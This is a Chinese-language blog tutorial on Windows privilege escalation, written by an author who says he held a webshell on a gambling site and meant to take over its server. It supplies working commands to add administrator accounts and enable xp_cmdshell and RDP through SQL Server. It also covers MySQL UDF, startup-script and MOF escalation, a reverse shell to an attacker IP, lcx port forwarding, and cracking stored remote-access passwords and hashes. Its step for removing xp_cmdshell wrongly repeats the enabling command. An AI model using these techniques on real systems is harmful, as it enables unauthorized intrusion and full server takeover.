windows提权 0,起因,由于前几天拿了一个菠菜站的webshell,但是只有iis权限,执行无法创建用户等操作,更无法对整个服务器进行控制了,于是此时便需要提权了,对于一个刚刚入门的小白来说,此刻真正意识到了提权的重要性,于是便开始学习提取相关知识,以拿下该菠菜的站点。 提权前的准备工作 1,通常来说,不同的脚本所处的权限是不一样的。这就意味着,如果该站点支持权限更高的脚本,我们可以上传该权限更高的脚本的大马,进而拿到更高的权限。 asp/php 通常为匿名权限(网络服务权限) aspx 通常为user权限 jsp 通常为系统权限 2,提权中常常也需要进行信息收集: 内外网 服务器系统和版本位数 服务器的补丁情况 服务器的安装软件情况 服务器的防护软件情况 端口情况 所支持的脚本情况 ...............................等等 3,windows信息收集中常用的命令: ipconfig /all 查看当前ip net user 查看当前服务器账号情况 netstat -ano 查看当前服务器端口开放情况 ver 查看当前服务器操作系统 systeminfo 查看当前服务器配置信息(补丁情况) tasklist /svc 查看当前服务器进程情况 taskkill -pid pid号 结束某个pid号的进程 taskkill /im qq.exe /f 结束qq进程,如果对命令不清楚,可以使用taskkill /? 进行查看 net user v01cano v01cano /add 添加一个用户名为v01cano密码为v01cano的用户 net localgroup administrators v01cano /add 将用户v01cano添加到管理员组 whoami 查看当前操作用户(当前权限) cmd命令执行提权 cmd命令执行提权-拿到webshell后,通常是无法执行cmd命令的,常见的阻断cmd命令执行有如下三种: 防护软件拦截 cmd被降权 组件被删除 被拦截和降权的解决方案,找可读写目录,上传cmd.exe,调用自己上传的cmd.exe,执行cmd命令。 组件被删除解决方案:检查是否支持aspx,如果支持,则可以通过aspx直接调用系统的cmd命令。或者换个脚本试试,比如换个php或者asp的大马试试。 https://www.cnblogs.com/v01cano/p/10293838.html FTP软件提权: 常见的FTP软件有server-u,g6ftp,filezilla等等。 https://www.cnblogs.com/v01cano/p/10310822.html 远程管理软件提权: 常见的远程管理软件有teamviewer,pcanywhere,radmin,vnc等等。 1,teamviewer提权:比较难,官方响应更新较快。 2,pcanywhere提权:(默认端口5631,5632)一般下载安装根目录下的hosts文件夹下的PCA.admin.CIF文件,然后使用pcanywhere破解.exe可执行程序读取其用户名和密码,然后即可进行连接远控。 3,radmin提权:(默认端口4899)直接使用大马中的Radmin提权,可以直接读取Radmin的密码(密文),同样使用工具radmin_hash.exe直接新建连接,然后右键完全控制,将32位的hash密文直接输入即可(注:在大马里面获取的密文为大写,需要先进行小写转换) 4,vnc提权:@1,通过读取注册表的十进制数,将其转换成十六进制数。(使用大马中读取注册表选项,选择vnc4密码选项,进行读取)@2,使用工具vncx4.exe破解十六进制数后得到密码,即首先输入vncx4.exe -W回车,然后将转换后的十六进制数依次输入。@3,使用破解得到的密码连接vnc。 windows溢出提权: 主要是通过windows漏洞利用来获取系统权限,常见的溢出提权有巴西烤肉,pr等。 提权步骤如下: 通过systeminfo命令查看服务器打了哪些补丁。 根据未打补丁的漏洞进行利用即可。可以通过getroot tools工具进行查看有哪些漏洞未打补丁。 破解hash提权: 前提:需要system权限。 上传pwdunp7.exe运行获取hash值或者使用pass.exe读取内存中的明文密码。 拿到lc5,彩虹表或者cmd5中解密 即可得到管理员密码 启动项提权: 前提写入的目录需要写入权限 将批处理文件上传到开启启动项目录等待管理员重启即可。 数据库提权: sqlserver数据库提权 1,首先需要获取sa账号,或者其他管理员账号。获取方法,查看config.asp,conn.asp,database.asp等文件。 2,安装cmd_shell组件 执行如下命令安装cmd_shell组件,默认无法直接执行cmd命令: EXEC sp_configure 'show advanced options', 1 GO RECONFIGURE GO EXEC sp_configure 'xp_cmdshell', 1 GO RECONFIGURE GO 删除cmd_shell组件: EXEC sp_configure 'show advanced options', 1 GO RECONFIGURE GO EXEC sp_configure 'xp_cmdshell', 1 GO RECONFIGURE GO 如果在添加用户到管理员组administrators的时候遇到安全狗而无法添加,则可以添加用户到Remote desktop Users远程组,远程组的用户同样可以进行远程连接。 3,开启3389 开启3389的sql语句: exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; 关闭3389的sql语句: exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1; 4,创建用户,加入到administrators组或者Remote desktop Users组 mysql数据库提权 前提:需要是数据库管理员权限才可以进行提权操作。 一,udf提权 1,获取到对方mysql数据库下的root账号和密码,常用的获取方法有: 查看网站源码里面的数据库配置文件(inc,conn,config.sql,common,data等) 查看数据库安装路径下的user.myd(/data/mysql/) 暴力破解mysql密码,破解3306端口入侵。 2,udf提权原理: 通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd。 create function cmdshell returns string soname 'udf.dll' select cmdshell('net user iis_user 123!@#abcABC /add'); select cmdshell('net localgroup administrators iis_user /add'); drop function cmdshell; 3,udf提权常用方法: 直接上传udf大马,对如上命令进行自动执行,从而达到提权的目的。 二,启动项提权 启动项提权原理:使用较少 1,查看数据库中有些什么数据表 mysql>show tables; 默认的情况下,test中没有任何表的存在。 2,在test数据库下创建一个新的表; mysql>create table a(cmd text); 我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为test文本。 3,在表中插入新的内容: insert into a values(“set wshshell=createobject(“”wscript.shell””)”); insert into a values(“a=wshshell.run(“”cmd.exe /c net user v01cano v01cano /add“”,0)”); insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators v01cano /add“”,0)”); select * from a into outfile “C://docume~1//「开始」菜单//程序//启动//a.vbs”; 重启即可创建该用户。 三,mof提权 mof提权原理: 第一种方法: 上传mof.php,输入相关信息,执行命令,提权。 第二种方法: 上传x.mof文件,使用select命令导出到正确的位置。 select load_file('C:/php/APMServ5.2.6/www/htdocs/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof' 允许外部地址使用root用户连接的sql语句: Grant all privileges on *.* to 'root'@'%' IDENTIFIED BY "root账户密码" with grant option; 四,反链端口提权(反弹shell) 反链端口提权原理:可以使用udf提权的大马进行操作。 1,利用mysql客户端工具连接mysql服务器,然后执行下面的操作。 执行命令: mysql.exe -h 192.168.174.151 -uroot -p enter password: mysql>\. C:\mysql.txt mysql>select backshell("YourIP",端口); 2,本地监听你反弹的端口: nc.exe -v -l -p 端口 成功后,你可以获得一个system权限的cmdshell,其实这个也是利用udf提权,即使用udf提权的大马进行反弹shell提权。 五,内网端口转发: 1,内网端口转发常用操作。 内网主机输入命令:该外网ip为黑客的某台服务器。 lcx.exe -slave 外网ip 外网端口 内网ip 内网端口 lcx.exe -slave 200.1.1.1 1111 192.168.1.2 3389 外网主机输入命令: lcx.exe -listen 1111 1311 开启3389常用方法 使用批处理文件开启3389 使用sql语句开启3389 使用exe开启3389 使用vb开启3389 windows常用权限提升命令 常用命令: type E:\wwwroot\web.config 查看文件内容 cacls命令: /T 更改当前目录及其所有子目录中指定文件的 ACL。 /E 编辑 ACL 而不替换。 /C 在出现拒绝访问错误时继续。 /G user:perm 赋予指定用户访问权限。Perm 可以是: R读取,W写入,C更改(写入),F完全控制。 /R user 撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。 cacls C:\wwwroot\1.html /t /e /c /g v01cano:f 要修改一个文件权限的必要条件: 有user组的完全控制权https://www.cnblogs.com/v01cano/p/10317458.html